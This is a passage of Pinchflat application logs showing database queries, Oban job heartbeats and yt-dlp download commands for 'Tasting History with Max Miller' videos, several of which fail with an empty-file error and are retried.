s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:05:43.880 [debug] QUERY OK source="settings" db=0.1ms idle=487.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:05:43.880 [debug] QUERY OK source="settings" db=0.0ms idle=487.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:05:43.880 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/8c/bb/8cbbfb180f6246dfbcc62f0245887c7c3b612f3c1293ded53f049a019cb5206c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:05:47.836 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:00.072 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:06:17.837 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:47.838 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:00.073 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:07:17.839 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:47.841 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:00.074 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:08:17.842 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:47.843 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:00.075 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:09:17.844 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:47.846 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:00.076 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:10:17.847 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:47.848 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:00.077 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:11:17.849 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:23.443 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/41/58/41589752232b532d1feef64ce8698e6b183ea50017a28d81af650e7c55569da2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 04:11:23.443 [error] yt-dlp download error for media item #11535: "ERROR: The downloaded file is empty\n" 04:11:23.444 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11535},"id":1730,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":419257231,"event":"job:exception","queue_time":62652,"attempt":8,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:11:23.450 [info] {"args":{"id":12040},"id":1729,"meta":{},"system_time":1774944683450620829,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":9,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:11:23.451 [debug] QUERY OK source="media_items" db=0.1ms idle=58.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 04:11:23.451 [info] User scripts lifecyle file either not present or is empty. Skipping. 04:11:23.451 [debug] QUERY OK source="sources" db=0.1ms idle=58.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 04:11:23.451 [debug] QUERY OK source="media_profiles" db=0.1ms idle=58.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:11:23.452 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 04:11:23.453 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12040] 04:11:23.453 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:11:23.453 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:11:23.454 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:11:23.454 [debug] Running yt-dlp command for action: get_downloadable_status 04:11:23.454 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:11:23.455 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:11:23.455 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:11:23.455 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/51/a0/51a018f04448c9823fb192ac832a45c482ce7f13c892f0e25dddbb50b2eb3bef.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:11:27.311 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/51/a0/51a018f04448c9823fb192ac832a45c482ce7f13c892f0e25dddbb50b2eb3bef.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 04:11:27.311 [debug] Running yt-dlp command for action: download 04:11:27.312 [debug] QUERY OK source="settings" db=0.1ms idle=1919.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:11:27.312 [debug] QUERY OK source="settings" db=0.1ms idle=1919.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:11:27.312 [debug] QUERY OK source="settings" db=0.2ms idle=1919.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:11:27.312 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/cb/ce/cbceeedf3d3054db7770633269c44f8ae010d099d9bc47a60ed82a38989d3b1b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:11:27.329 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/8c/bb/8cbbfb180f6246dfbcc62f0245887c7c3b612f3c1293ded53f049a019cb5206c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 04:11:27.329 [error] yt-dlp download error for media item #12546: "ERROR: The downloaded file is empty\n" 04:11:27.330 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12546},"id":1728,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":347438571,"event":"job:exception","queue_time":58554857,"attempt":9,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:11:47.850 [info] {"source":"oban","duration":789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:00.079 [info] {"source":"oban","duration":369,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:12:17.851 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:47.852 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:00.079 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:13:17.853 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:47.855 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:00.080 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:14:17.856 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:47.857 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:00.081 [info] {"source":"oban","duration":316,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:15:17.858 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:47.859 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:56.983 [info] {"args":{"id":11535},"id":1730,"meta":{},"system_time":1774944956983441194,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":9,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:15:56.983 [debug] QUERY OK source="media_items" db=0.2ms idle=1590.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 04:15:56.984 [info] User scripts lifecyle file either not present or is empty. Skipping. 04:15:56.984 [debug] QUERY OK source="sources" db=0.1ms idle=1591.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 04:15:56.984 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1009.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:15:56.985 [debug] QUERY OK source="media_items" db=0.3ms idle=8.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 04:15:56.985 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11535] 04:15:56.986 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:15:56.986 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:15:56.987 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:15:56.987 [debug] Running yt-dlp command for action: get_downloadable_status 04:15:56.987 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:15:56.987 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:15:56.988 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:15:56.988 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5c/e4/5ce49281b59242ae7873af5e85108c0d9fdac4d384fbfe67d1511c6a659b7855.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:16:00.082 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:16:00.980 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5c/e4/5ce49281b59242ae7873af5e85108c0d9fdac4d384fbfe67d1511c6a659b7855.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 04:16:00.981 [debug] Running yt-dlp command for action: download 04:16:00.981 [debug] QUERY OK source="settings" db=0.1ms idle=898.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:16:00.981 [debug] QUERY OK source="settings" db=0.1ms idle=588.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:16:00.981 [debug] QUERY OK source="settings" db=0.0ms idle=589.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:16:00.982 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/53/32/5332b5e8a0aeb7c00cf119331a0e751ffda88b4cd2fddd92ab580d9db9572fd2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:16:17.860 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:33.116 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/cb/ce/cbceeedf3d3054db7770633269c44f8ae010d099d9bc47a60ed82a38989d3b1b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 04:16:33.116 [error] yt-dlp download error for media item #12040: "ERROR: The downloaded file is empty\n" 04:16:33.116 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12040},"id":1729,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":309665699,"event":"job:exception","queue_time":57565664,"attempt":9,"tags":["media_item","media_fetching","show_in_dashboard"]} 